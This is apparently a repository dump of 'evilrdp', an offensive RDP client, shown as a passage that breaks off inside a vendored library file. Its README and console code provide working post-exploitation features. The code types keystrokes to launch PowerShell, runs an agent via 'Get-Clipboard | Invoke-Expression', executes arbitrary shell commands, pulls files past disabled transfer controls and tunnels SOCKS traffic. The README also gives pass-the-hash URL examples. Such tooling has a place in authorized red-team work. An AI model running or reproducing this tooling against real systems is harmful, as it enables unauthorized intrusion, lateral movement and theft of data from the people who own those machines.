[
  {
    "path": ".github/workflows/python-windows-exe.yml",
    "content": "name: Build Windows Executable - PyInstaller\n# Description:\n# Most of my projects come with a build.bat script that uses PyInstaller to freeze the examples\n# to an executable file. This Action will set up the envrionment and run this build.bat script,\n# then upload the resulting executables to a google cloud bucket.\n# Additionally the executables will be compressed and encrypted using 7z\n\non:\n  push:\n    branches:\n      - main # Trigger on push to master branch\n\njobs:\n  build:\n    runs-on: windows-latest # Use a Windows runner\n    permissions:\n      contents: 'read'\n      id-token: 'write'\n    \n    steps:        \n    - uses: 'actions/checkout@v4'\n      with:\n        fetch-depth: 0\n    - id: 'auth'\n      uses: 'google-github-actions/auth@v1'\n      with:\n        credentials_json: '${{ secrets.GCLOUD_BUCKET_SERVICE_USER_SECRET }}'\n\n    - name: Set up Python\n      uses: actions/setup-python@v2\n      with:\n        python-version: '3.9'\n\n    - name: Install Dependencies\n      run: |\n        python -m pip install --upgrade pip\n        pip install pyinstaller virtualenv\n\n    - name: Run Batch File to Build Executable\n      run: builder\\pyinstaller\\build.bat\n\n    - name: Compress executables\n      run: |\n        \"C:\\Program Files\\7-Zip\\7z.exe\" a secure.7z *.exe -pprotected\n      working-directory: ${{ github.workspace }}/builder/pyinstaller\n      shell: cmd\n    \n    #- name: Upload Executable\n    #  uses: actions/upload-artifact@v2\n    #  with:\n    #    name: executable\n    #    path: builder\\pyinstaller\\*.exe\n        \n    - name: 'Set up Cloud SDK'\n      uses: 'google-github-actions/setup-gcloud@v1'\n      with:\n        version: '>= 390.0.0'\n\n    - name: Upload Executables to GCS\n      run: |\n        $PROJVERSION = python -c \"import sys; sys.path.append('${{ github.event.repository.name }}'); import _version; print(_version.__version__)\"\n        Write-Host \"Detected Version: $PROJVERSION\"\n        gsutil cp builder\\pyinstaller\\*.exe gs://skelsec-github-foss/${{ github.event.repository.name }}/$PROJVERSION/\n        gsutil cp builder\\pyinstaller\\*.7z gs://skelsec-github-foss/${{ github.event.repository.name }}/$PROJVERSION/\n      shell: powershell\n"
  },
  {
    "path": ".gitignore",
    "content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\ncover/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\n.pybuilder/\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n#   For a library or package, you might want to ignore these files since the code is\n#   intended to run in multiple environments; otherwise, check them in:\n# .python-version\n\n# pipenv\n#   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n#   However, in case of collaboration, if having platform-specific dependencies or dependencies\n#   having no cross-platform support, pipenv may install dependencies that don't work, or not\n#   install all needed dependencies.\n#Pipfile.lock\n\n# poetry\n#   Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.\n#   This is especially recommended for binary packages to ensure reproducibility, and is more\n#   commonly ignored for libraries.\n#   https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control\n#poetry.lock\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow\n__pypackages__/\n\n# Celery stuff\ncelerybeat-schedule\ncelerybeat.pid\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.env\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n\n# pytype static type analyzer\n.pytype/\n\n# Cython debug symbols\ncython_debug/\n\n# PyCharm\n#  JetBrains specific template is maintainted in a separate JetBrains.gitignore that can\n#  be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore\n#  and can be added to the global gitignore or merged into this file.  For a more nuclear\n#  option (not recommended) you can uncomment the following to ignore the entire idea folder.\n#.idea/\n*.tsv\n*.png\n\n*.whl\n*.exe"
  },
  {
    "path": "MANIFEST.in",
    "content": "include evilrdp/vchannels/pscmd/serverscript.ps1"
  },
  {
    "path": "Makefile",
    "content": "clean:\n\trm -f -r build/\n\trm -f -r dist/\n\trm -f -r *.egg-info\n\tfind . -name '*.pyc' -exec rm -f {} +\n\tfind . -name '*.pyo' -exec rm -f {} +\n\tfind . -name '*~' -exec rm -f  {} +\n\npublish: clean\n\tpython3 setup.py sdist bdist_wheel\n\tpython3 -m twine upload dist/*\n\nrebuild: clean\n\tpython3 setup.py install\n\nbuild:\n\tpython3 setup.py install\n"
  },
  {
    "path": "README.md",
    "content": "![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg) [![Twitter](https://img.shields.io/twitter/follow/skelsec?label=skelsec&style=social)](https://twitter.com/intent/follow?screen_name=skelsec)\n\n## :triangular_flag_on_post: Sponsors\n\nIf you like this project, consider sponsoring it on GitHub! [Sponsors](https://github.com/sponsors/skelsec/)\n\n# EVILRDP - More control over RDP\nTh evil twin of [`aardwolfgui`](https://github.com/skelsec/aardwolfgui) using the [`aardwolf`](https://github.com/skelsec/aardwolf) RDP client library that gives you extended control over the target and additional scripting capabilities from the command line.\n\n# Features\n - Control mouse and keyboard in an automated way from command line\n - Control clipboard in an automated way from command line\n - Spawn a SOCKS proxy from the client that channels network communication to the target via RDP  \n - Execute arbitrary SHELL and PowerShell commands on the target without uploading files\n - Upload and download files to/from the target even when file transfers are disabled on the target\n\n# Scripts\n - `evilrdp` - GUI + command line RDP client \n\n# Usage\nAfter installing this package, a new executable will be available called `evilrdp`.  \nUpon making a successful connection to the target you'll be presented with a GUI just like a normal RDP client as well as the command line from where you executed `evilrdp` will turn into an interactive shell.  \nThere will be two groups of commands available to you, as follows:  \n- Commands that can be issues any time. This include commands like:\n  - mousemove\n  - rightclick\n  - doubleclick\n  - type\n  - typefile\n  - return/enter\n  - invokerun\n  - clipboardset\n  - clipboardsetfile\n  - clipboardget\n  - powershell\n  - screenshot\n- Commands which only work when the `PSCMD` channel is established\n  - pscmdchannel - Changes the `PSCMD` channel name from the default. Use this when you changed the channelname in agent script file\n  - **startpscmd - This tries to automatically start the remote agent which allows further commands to be used**\n  - pscmd - Executes a powershell command\n  - getfile - Downloads remote file\n  - shell - Executes a shell command\n  - socksproxy - Starts a SOCKS4a/5 proxy\n\nAs it is with all things RDP, automatic command execution doesn't always work mostly because of timing issues therefore the `startpscmd` might need to be used 2 times, OR you might need to start the `PSCMD` channel manually.  \nWhen `PSCMD` channel starts, you'll get a notification in your client shell.\n\n# URL format\nAs usual the scripts take the target/scredentials in URL format. Below some examples\n - `rdp+kerberos-password://TEST\\Administrator:Passw0rd!1@win2016ad.test.corp/?dc=10.10.10.2&proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080`  \n CredSSP (aka `HYBRID`) auth using Kerberos auth + password via `socks5` to `win2016ad.test.corp`, the domain controller (kerberos service) is at `10.10.10.2`. The socks proxy is on `127.0.0.1:1080`\n - `rdp+ntlm-password://TEST\\Administrator:Passw0rd!1@10.10.10.103`  \n CredSSP (aka `HYBRID`) auth using NTLM auth + password connecting to RDP server `10.10.10.103`\n - `rdp+ntlm-password://TEST\\Administrator:<NThash>@10.10.10.103`  \n CredSSP (aka `HYBRID`) auth using Pass-the-Hash (NTLM) auth connecting to RDP server `10.10.10.103`\n - `rdp+plain://Administrator:Passw0rd!1@10.10.10.103`  \n Plain authentication (No SSL, encryption is RC4) using password connecting to RDP server `10.10.10.103`\n - See `-h` for more\n\n# Kudos\n - Balazs Bucsay ([@xoreipeip](https://twitter.com/xoreipeip)) [`SocksOverRDP`](https://github.com/nccgroup/SocksOverRDP). The base idea for covert comms over RDP\n\n"
  },
  {
    "path": "builder/pyinstaller/build.bat",
    "content": "@echo off\nset projectname=evilrdp\nset hiddenimports= --hidden-import aardwolf --hidden-import cryptography --hidden-import cffi --hidden-import cryptography.hazmat.backends.openssl --hidden-import cryptography.hazmat.bindings._openssl --hidden-import unicrypto --hidden-import unicrypto.backends.pycryptodome.DES --hidden-import  unicrypto.backends.pycryptodome.TDES --hidden-import unicrypto.backends.pycryptodome.AES --hidden-import unicrypto.backends.pycryptodome.RC4 --hidden-import unicrypto.backends.pure.DES --hidden-import  unicrypto.backends.pure.TDES --hidden-import unicrypto.backends.pure.AES --hidden-import unicrypto.backends.pure.RC4 --hidden-import unicrypto.backends.cryptography.DES --hidden-import  unicrypto.backends.cryptography.TDES --hidden-import unicrypto.backends.cryptography.AES --hidden-import unicrypto.backends.cryptography.RC4 --hidden-import unicrypto.backends.pycryptodomex.DES --hidden-import  unicrypto.backends.pycryptodomex.TDES --hidden-import unicrypto.backends.pycryptodomex.AES --hidden-import unicrypto.backends.pycryptodomex.RC4\nset addstatic= --add-data \"vchannels/pscmd/serverscript.ps1;.\"\nset root=%~dp0\nset pyenv=%root%\\env\nset repo=%root%..\\..\\%projectname%\nIF NOT DEFINED __BUILDALL_VENV__ (GOTO :CREATEVENV)\nGOTO :BUILD\n\n:CREATEVENV\npython -m venv %root%\\env\nCALL %root%\\env\\Scripts\\activate.bat\npip install pyinstaller\nGOTO :BUILD\n\n:BUILD\ncd %repo%\\..\\\npip install .\ncd %repo%\npyinstaller -F __main__.py %addstatic% %hiddenimports%\ncd %repo%\\dist & copy __main__.exe %root%\\evilrdp.exe\nGOTO :CLEANUP\n\n:CLEANUP\nset addstatic=\nIF NOT DEFINED __BUILDALL_VENV__ (deactivate)\ncd %root%\nEXIT /B"
  },
  {
    "path": "evilrdp/__init__.py",
    "content": ""
  },
  {
    "path": "evilrdp/__main__.py",
    "content": "\nimport sys\n\nfrom aardwolf import logger\nfrom aardwolf.commons.iosettings import RDPIOSettings\nfrom aardwolf.commons.queuedata.constants import VIDEO_FORMAT\n#from aardwolf.extensions.RDPEDYC.vchannels.socksoverrdp import SocksOverRDPChannel\nfrom evilrdp._version import __banner__\nfrom evilrdp.gui import EvilRDPGUI, RDPClientConsoleSettings\n#from evilrdp.consolehelper import EVILRDPConsole\nfrom PyQt5.QtWidgets import QApplication, qApp\n\ndef main():\n\timport logging\n\timport argparse\n\tparser = argparse.ArgumentParser(description='Async RDP Client. Duckyscript will be executed by pressing ESC 3 times')\n\tparser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')\n\tparser.add_argument('--no-mouse-hover', action='store_false', help='Disables sending mouse hovering data. (saves bandwith)')\n\tparser.add_argument('--no-keyboard', action='store_false', help='Disables keyboard input. (whatever)')\n\tparser.add_argument('--res', default = '1024x768', help='Resolution in \"WIDTHxHEIGHT\" format. Default: \"1024x768\"')\n\tparser.add_argument('--keyboard', default = 'enus', help='Keyboard on the client side. Used for VNC and duckyscript')\n\tparser.add_argument('url', help=\"RDP connection url\")\n\n\targs = parser.parse_args()\n\n\tif args.verbose == 1:\n\t\tlogger.setLevel(logging.INFO)\n\telif args.verbose == 2:\n\t\tlogger.setLevel(logging.DEBUG)\n\telif args.verbose > 2:\n\t\tlogger.setLevel(1)\n\n\twidth, height = args.res.upper().split('X')\n\theight = int(height)\n\twidth = int(width)\n\tiosettings = RDPIOSettings()\n\tiosettings.video_width = width\n\tiosettings.video_height = height\n\tiosettings.video_out_format = VIDEO_FORMAT.PIL\n\tiosettings.client_keyboard = args.keyboard\n\n\t#from evilrdp.vchannels.pscmd import PSCMDChannel\n\t#iosettings.vchannels['PSCMD'] = PSCMDChannel('PSCMD')\n\t#from aardwolf.extensions.RDPEDYC.vchannels.socksoverrdp import SocksOverRDPChannel\n\t#iosettings.vchannels['PROXY'] = SocksOverRDPChannel(args.sockschannel, args.socksip, args.socksport)\n\n\n\tsettings = RDPClientConsoleSettings(args.url, iosettings)\n\tsettings.mhover = args.no_mouse_hover\n\tsettings.keyboard = args.no_keyboard\n\n\tprint(__banner__)\n\n\tapp = QApplication(sys.argv)\n\tqtclient = EvilRDPGUI(settings)\n\tqtclient.show()\n\tapp.exec_()\n\tqApp.quit()\n\nif __name__ == '__main__':\n\tmain()"
  },
  {
    "path": "evilrdp/_version.py",
    "content": "__version__ = \"0.0.2\"\n__banner__ = \\\n\"\"\"\n# evilrdp %s \n# Author: Tamas Jos @skelsec (info@skelsecprojects.com)\n\"\"\" % __version__\n"
  },
  {
    "path": "evilrdp/consolehelper.py",
    "content": "import os\nimport sys\nimport traceback\nimport datetime\nimport asyncio\n\nfrom evilrdp.external.aiocmd.aiocmd import aiocmd\nfrom aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_SCANCODE, RDP_KEYBOARD_UNICODE\nfrom aardwolf.connection import RDPConnection\nfrom aardwolf.commons.queuedata.constants import MOUSEBUTTON, VIDEO_FORMAT\nfrom aardwolf.keyboard.layoutmanager import KeyboardLayoutManager\nfrom aardwolf.utils.ducky import DuckyExecutorBase, DuckyReaderFile\nfrom aardwolf.commons.target import RDPConnectionDialect\nfrom aardwolf.keyboard import VK_MODIFIERS\n\nfrom evilrdp.vchannels.pscmd import PSCMDChannel\n\nclass EVILRDPConsole(aiocmd.PromptToolkitCmd):\n\tdef __init__(self, rdpconn:RDPConnection):\n\t\taiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows...\n\t\tself.rdpconn = rdpconn\n\t\tself.pscmd_channelname = 'PSCMD'\n\n\tasync def do_info(self):\n\t\tprint('HELLO!')\n\n\tasync def do_mousemove(self, x, y):\n\t\t\"\"\"Moves the mouse to the given coordinates\"\"\"\n\t\tawait self.rdpconn.send_mouse(MOUSEBUTTON.MOUSEBUTTON_LEFT, int(x), int(y), False)\n\n\tasync def do_rightclick(self, x, y):\n\t\t\"\"\"Emulates a rightclick on the given coordinates\"\"\"\n\t\tfor clicked in [True, False]:\n\t\t\tawait self.rdpconn.send_mouse(MOUSEBUTTON.MOUSEBUTTON_RIGHT, int(x), int(y), clicked)\n\t\n\tasync def do_doubleclick(self, x, y):\n\t\t\"\"\"Emulates a doubleclick on the given coordinates\"\"\"\n\t\tfor clicked in [True, False, True, False]:\n\t\t\tawait self.rdpconn.send_mouse(MOUSEBUTTON.MOUSEBUTTON_LEFT, int(x), int(y), clicked)\n\n\tasync def do_type(self, string, chardelay = 0):\n\t\t\"\"\"Types the given string on the remote end\"\"\"\n\t\tchardelay = int(chardelay)\n\t\tfor c in string:\n\t\t\tawait self.rdpconn.send_key_char(c, True)\n\t\t\tawait asyncio.sleep(chardelay/1000)\n\t\t\tawait self.rdpconn.send_key_char(c, False)\n\t\n\tasync def do_return(self):\n\t\tawait self.do_enter()\n\n\tasync def do_enter(self):\n\t\t\"\"\"Hits the Return button on the remote end\"\"\"\n\t\tawait self.rdpconn.send_key_scancode(28, True, False)\n\t\tawait self.rdpconn.send_key_scancode(28, False, False)\n\t\n\tasync def do_invokerun(self):\n\t\t\"\"\"Hits WIN+R\"\"\"\n\t\tawait self.rdpconn.send_key_scancode(57435, True, True)\n\t\tawait asyncio.sleep(100/1000)\n\t\tawait self.rdpconn.send_key_scancode(0x13, True, False)\n\t\tawait asyncio.sleep(0.5)\n\t\tawait self.rdpconn.send_key_scancode(0x13, False, False)\n\t\tawait asyncio.sleep(100/1000)\n\t\tawait self.rdpconn.send_key_scancode(57435, False, True)\n\t\n\tasync def do_clipboardset(self, text):\n\t\t\"\"\"Sets the clipboard text on the remote end\"\"\"\n\t\tawait self.rdpconn.set_current_clipboard_text(text)\n\t\n\tasync def do_clipboardsetfile(self, filepath):\n\t\t\"\"\"Sets the clipboard text on the remote end from a local textfile\"\"\"\n\t\twith open(filepath, 'r') as f:\n\t\t\ttext = f.read()\n\t\tawait self.do_clipboardset(text)\n\t\n\tasync def do_clipboardget(self, outfile = None):\n\t\t\"\"\"Gets the clipboard text from the remote end\"\"\"\n\t\tclipdata = await self.rdpconn.get_current_clipboard_text()\n\t\tif outfile is not None and len(outfile) > 0:\n\t\t\twith open(outfile, 'wb') as f:\n\t\t\t\tf.write(clipdata.encode())\n\t\telse:\n\t\t\tprint(clipdata)\n\n\tasync def do_typefile(self, fname, chardelay = 1/10000):\n\t\t\"\"\"Types the contents of a text file line-by-line\"\"\"\n\t\twith open(fname, 'r') as f:\n\t\t\tfor line in f:\n\t\t\t\tline = line.rstrip()\n\t\t\t\tawait self.do_type(line+'\\n', chardelay=chardelay)\n\t\t\t\tawait asyncio.sleep(100/1000)\n\t\tprint('Done!')\n\t\n\tasync def do_powershell(self):\n\t\t\"\"\"Invokes a powershell prompt on the remote end\"\"\"\n\t\tawait self.do_invokerun()\n\t\tawait asyncio.sleep(100/1000)\n\t\tawait self.do_type('powershell')\n\t\tawait asyncio.sleep(100/1000)\n\t\tawait self.do_enter()\n\t\n\tasync def do_disconnect(self):\n\t\t\"\"\"Exit the RDP session\"\"\"\n\t\tawait self.rdpconn.terminate()\n\n\tasync def do_quit(self):\n\t\t\"\"\"Exit the RDP session\"\"\"\n\t\tawait self.do_disconnect()\n\n\tasync def do_screenshot(self):\n\t\t\"\"\"Takes a screenshot\"\"\"\n\t\timgdata = self.rdpconn.get_desktop_buffer(VIDEO_FORMAT.PNG)\n\t\tfname = 'screenshot_%s.png' % datetime.datetime.utcnow().strftime(\"%Y_%m_%d_%H%MZ\")\n\t\twith open(fname, 'wb') as f:\n\t\t\tf.write(imgdata)\n\t\tprint('Screenshot data saved! %s' % fname)\n\n\t#async def do_duckyfile(self, dfile):\n\t#\ttry:\n\t#\t\tasync def ducky_keyboard_sender(scancode, is_pressed, as_char = False):\n\t#\t\t\t### Callback function for the duckyexecutor to dispatch scancodes/characters to the remote end\n\t#\t\t\ttry:\n\t#\t\t\t\t#print('SCANCODE: %s' % scancode)\n\t#\t\t\t\t#print('is_pressed: %s' % is_pressed)\n\t#\t\t\t\t#print('as_char: %s' % as_char)\n\t#\t\t\t\tif as_char is False:\n\t#\t\t\t\t\tki = RDP_KEYBOARD_SCANCODE()\n\t#\t\t\t\t\tki.keyCode = scancode\n\t#\t\t\t\t\tki.is_pressed = is_pressed\n\t#\t\t\t\t\tki.modifiers = VK_MODIFIERS(0)\n\t#\t\t\t\t\tawait self.rdpconn.ext_in_queue.put(ki)\n\t#\t\t\t\telse:\n\t#\t\t\t\t\tki = RDP_KEYBOARD_UNICODE()\n\t#\t\t\t\t\tki.char = scancode\n\t#\t\t\t\t\tki.is_pressed = is_pressed\n\t#\t\t\t\t\tawait self.rdpconn.ext_in_queue.put(ki)\n\t#\t\t\texcept Exception as e:\n\t#\t\t\t\ttraceback.print_exc()\n\t#\t\t\t\n\t#\t\tlayout = KeyboardLayoutManager().get_layout_by_shortname(self.rdpconn.iosettings.client_keyboard)\n\t#\t\texecutor = DuckyExecutorBase(layout, ducky_keyboard_sender, send_as_char = True if self.rdpconn.target.dialect == RDPConnectionDialect.VNC else False)\n\t#\t\treader = DuckyReaderFile.from_file(dfile, executor)\n\t#\t\tawait reader.parse()\n\t#\n\t#\texcept Exception as e:\n\t#\t\ttraceback.print_exc()\n\n\tasync def do_pscmdchannel(self, channelname = None):\n\t\t\"\"\"Changes the PSCMD channel's name\"\"\"\n\t\tif channelname is None or len(channelname) == 0:\n\t\t\tprint('Current PSCMD channel name: %s' % self.pscmd_channelname)\n\t\t\treturn\n\t\tself.pscmd_channelname = channelname\n\t\tawait self.do_pscmdchannel(self)\n\n\tasync def do_startpscmd(self, channelname = 'PSCMD', scriptfile = 'serverscript.ps1'):\n\t\t\"\"\"Starts a PSCMD channel on the remote end\"\"\"\n\t\tif scriptfile is None:\n\t\t\tscriptfile = 'serverscript.ps1'\n\t\tif channelname not in self.rdpconn.get_vchannels():\n\t\t\tawait self.rdpconn.add_vchannel(channelname, PSCMDChannel(channelname))\n\t\ttry:\n\t\t\tif os.path.exists(scriptfile) is False:\n\t\t\t\tif hasattr(sys, '_MEIPASS') is True:\n\t\t\t\t\tscriptfile = os.path.join(sys._MEIPASS, scriptfile)\n\t\t\tif os.path.exists(scriptfile) is False:\n\t\t\t\tbasedir = os.path.dirname(os.path.abspath(__file__))\n\t\t\t\tscriptfile = os.path.join(basedir, 'vchannels', 'pscmd', 'serverscript.ps1')\n\t\texcept:\n\t\t\tprint('%s could not be found!' % scriptfile)\n\t\t\treturn\n\t\tawait self.do_powershell()\n\t\tawait asyncio.sleep(0)\n\t\tawait self.do_clipboardsetfile(scriptfile)\n\t\tawait asyncio.sleep(1)\n\t\tawait self.do_type('Get-Clipboard | Invoke-Expression')\n\t\tawait self.do_return()\n\t\n\tasync def do_pscmd(self, cmd):\n\t\t\"\"\"Executes a powershell command on the remote host. Requires PSCMD\"\"\"\n\t\ttry:\n\t\t\tif self.pscmd_channelname not in self.rdpconn.iosettings.vchannels:\n\t\t\t\tprint('PSCMD channel was either not defined while connecting OR the channel name is not the default.')\n\t\t\t\tprint('Set the correct channel name using \"pscmdchannel\" command')\n\t\t\t\treturn\n\t\t\tvchannel = self.rdpconn.iosettings.vchannels[self.pscmd_channelname]\n\t\t\tif vchannel.channel_active_evt.is_set() is False:\n\t\t\t\tprint('Channel is defined, but is not active. Did you execute the client code on the server?')\n\t\t\t\treturn\n\t\t\tresponse = await vchannel.sendrcv_pscmd(cmd)\n\t\t\tfor line in response.split('\\n'):\n\t\t\t\tprint(line.strip())\n\n\t\texcept Exception as e:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_getfile(self, filepath, dstfilepath):\n\t\t\"\"\"Downloads a remote file. Requires PSCMD\"\"\"\n\t\ttry:\n\t\t\tif self.pscmd_channelname not in self.rdpconn.iosettings.vchannels:\n\t\t\t\tprint('PSCMD channel was either not defined while connecting OR the channel name is not the default.')\n\t\t\t\tprint('Set the correct channel name using \"pscmdchannel\" command')\n\t\t\t\treturn\n\t\t\tvchannel = self.rdpconn.iosettings.vchannels[self.pscmd_channelname]\n\t\t\tif vchannel.channel_active_evt.is_set() is False:\n\t\t\t\tprint('Channel is defined, but is not active. Did you execute the client code on the server?')\n\t\t\t\treturn\n\t\t\t\n\t\t\tprint('Downloading file...')\n\t\t\twith open(dstfilepath, 'wb') as f:\n\t\t\t\tasync for response in vchannel.sendrcv_getfile(filepath):\n\t\t\t\t\tf.write(response)\n\n\t\t\tprint('%s Downloaded to %s' % (filepath, dstfilepath))\n\t\texcept Exception as e:\n\t\t\ttraceback.print_exc()\n\n\tasync def do_shell(self, cmd):\n\t\t\"\"\"Executes a shell command. Requires PSCMD\"\"\"\n\t\ttry:\n\t\t\tif self.pscmd_channelname not in self.rdpconn.iosettings.vchannels:\n\t\t\t\tprint('PSCMD channel was either not defined while connecting OR the channel name is not the default.')\n\t\t\t\tprint('Set the correct channel name using \"pscmdchannel\" command')\n\t\t\t\treturn\n\t\t\tvchannel = self.rdpconn.iosettings.vchannels[self.pscmd_channelname]\n\t\t\tif vchannel.channel_active_evt.is_set() is False:\n\t\t\t\tprint('Channel is defined, but is not active. Did you execute the client code on the server?')\n\t\t\t\treturn\n\t\t\tasync for stderr_or_stout, response in vchannel.sendrcv_shellexec(cmd):\n\t\t\t\tfor line in response.split('\\n'):\n\t\t\t\t\tline = line.strip()\n\t\t\t\t\tprint(line)\n\n\t\texcept Exception as e:\n\t\t\ttraceback.print_exc()\n\t\n\t#async def do_socksoverrdp(self, channelname = '', listen_ip = '127.0.0.1', listen_port = 9998):\n\t#\t\n\t#from aardwolf.extensions.RDPEDYC.vchannels.socksoverrdp import SocksOverRDPChannel\n\t#iosettings.vchannels['PROXY'] = SocksOverRDPChannel(args.sockschannel, args.socksip, args.socksport)\n\t#\tiosettings.vchannels[args.sockschannel] = SocksOverRDPChannel(args.sockschannel, args.socksip, args.socksport)\n\n\tasync def do_socksproxy(self, listen_ip = '127.0.0.1', listen_port = 9999):\n\t\t\"\"\"Creates a socks proxy. Requires PSCMD\"\"\"\n\t\ttry:\n\t\t\tif self.pscmd_channelname not in self.rdpconn.iosettings.vchannels:\n\t\t\t\tprint('PSCMD channel was either not defined while connecting OR the channel name is not the default.')\n\t\t\t\tprint('Set the correct channel name using \"pscmdchannel\" command')\n\t\t\t\treturn\n\t\t\tvchannel = self.rdpconn.iosettings.vchannels[self.pscmd_channelname]\n\t\t\tif vchannel.channel_active_evt.is_set() is False:\n\t\t\t\tprint('Channel is defined, but is not active. Did you execute the client code on the server?')\n\t\t\t\treturn\n\t\t\tif listen_ip is None or len(listen_ip) == 0:\n\t\t\t\tlisten_ip = '127.0.0.1'\n\t\t\tif listen_port is None:\n\t\t\t\tlisten_port = 9999\n\t\t\t_, err = await vchannel.socksproxy(listen_ip, int(listen_port))\n\t\t\tif err is not None:\n\t\t\t\tprint('Failed to start proxy server! Reason: %s' % err)\n\t\t\t\treturn\n\n\t\texcept Exception as e:\n\t\t\ttraceback.print_exc()\n\t"
  },
  {
    "path": "evilrdp/external/__init__.py",
    "content": ""
  },
  {
    "path": "evilrdp/external/aiocmd/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2019 Dor Green\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "evilrdp/external/aiocmd/README.md",
    "content": "# aiocmd\nCoroutine-based CLI generator using prompt_toolkit, similarly to the built-in cmd module.\n\n## How to install?\nSimply use `pip3 install aiocmd`\n\n## How to use?\nTo use, inherit from the `PromptToolkitCmd` class and implement the `do_<action>` for each command.\n\nEach command can receive arguments and optional (keyword) arguments. You then must run the `run()` coroutine to start the CLI.\n\nFor instance:\n```python\nimport asyncio\n\nfrom aiocmd import aiocmd\n\n\nclass MyCLI(aiocmd.PromptToolkitCmd):\n\n    def do_my_action(self):\n        \"\"\"This will appear in help text\"\"\"\n        print(\"You ran my action!\")\n        \n    def do_add(self, x, y):\n        print(int(x) + int(y))\n\n    async def do_sleep(self, sleep_time=1):\n        await asyncio.sleep(int(sleep_time))\n        \n        \nif __name__ == \"__main__\":\n    asyncio.get_event_loop().run_until_complete(MyCLI().run())\n``` \n\nWill create this CLI:\n\n![CLIImage](./docs/image1.png)\n\n## Extra features\n\nYou can implement a custom completion for each command by implementing `_<action>_completions`. \n\nFor example, to complete a single-digit number for the `add` action:\n\n```python\nclass MyCLI(aiocmd.PromptToolkitCmd):\n    \n    def _add_completions(self):\n        return WordCompleter([str(i) for i in range(9)])\n```\n\n![CLIImage](./docs/image2.png)\n\nYou can also set a custom `prompt` and `aliases` parameters for the class (example in docs).\n"
  },
  {
    "path": "evilrdp/external/aiocmd/__init__.py",
    "content": ""
  },
  {
    "path": "evilrdp/external/aiocmd/aiocmd/__init__.py",
    "content": ""
  },
  {
    "path": "evilrdp/external/aiocmd/aiocmd/aiocmd.py",
    "content": "import asyncio\nimport inspect\nimport shlex\nimport signal\nimport sys\nimport traceback\n\nfrom prompt_toolkit import PromptSession\nfrom prompt_toolkit.completion import WordCompleter\nfrom prompt_toolkit.key_binding import KeyBindings\nfrom prompt_toolkit.patch_stdout import patch_stdout\n\ntry:\n    from prompt_toolkit.completion.nested import NestedCompleter\nexcept ImportError:\n    from aiocmd.nested_completer import NestedCompleter\n\n\nclass ExitPromptException(Exception):\n    pass\n\n\nclass PromptToolkitCmd:\n    \"\"\"Baseclass for custom CLIs\n\n    Works similarly to the built-in Cmd class. You can inherit from this class and implement:\n        - do_<action> - This will add the \"<action>\" command to the cli.\n                        The method may receive arguments (required) and keyword arguments (optional).\n        - _<action>_completions - Returns a custom Completer class to use as a completer for this action.\n    Additionally, the user cant change the \"prompt\" variable to change how the prompt looks, and add\n    command aliases to the 'aliases' dict.\n    \"\"\"\n    ATTR_START = \"do_\"\n    prompt = \"$ \"\n    doc_header = \"Documented commands:\"\n    aliases = {\"?\": \"help\", \"exit\": \"quit\"}\n\n    def __init__(self, ignore_sigint=True):\n        self.completer = self._make_completer()\n        self.session = None\n        self._ignore_sigint = ignore_sigint\n        self._currently_running_task = None\n\n    async def run(self):\n        if self._ignore_sigint and sys.platform != \"win32\":\n            asyncio.get_event_loop().add_signal_handler(signal.SIGINT, self._sigint_handler)\n        self.session = 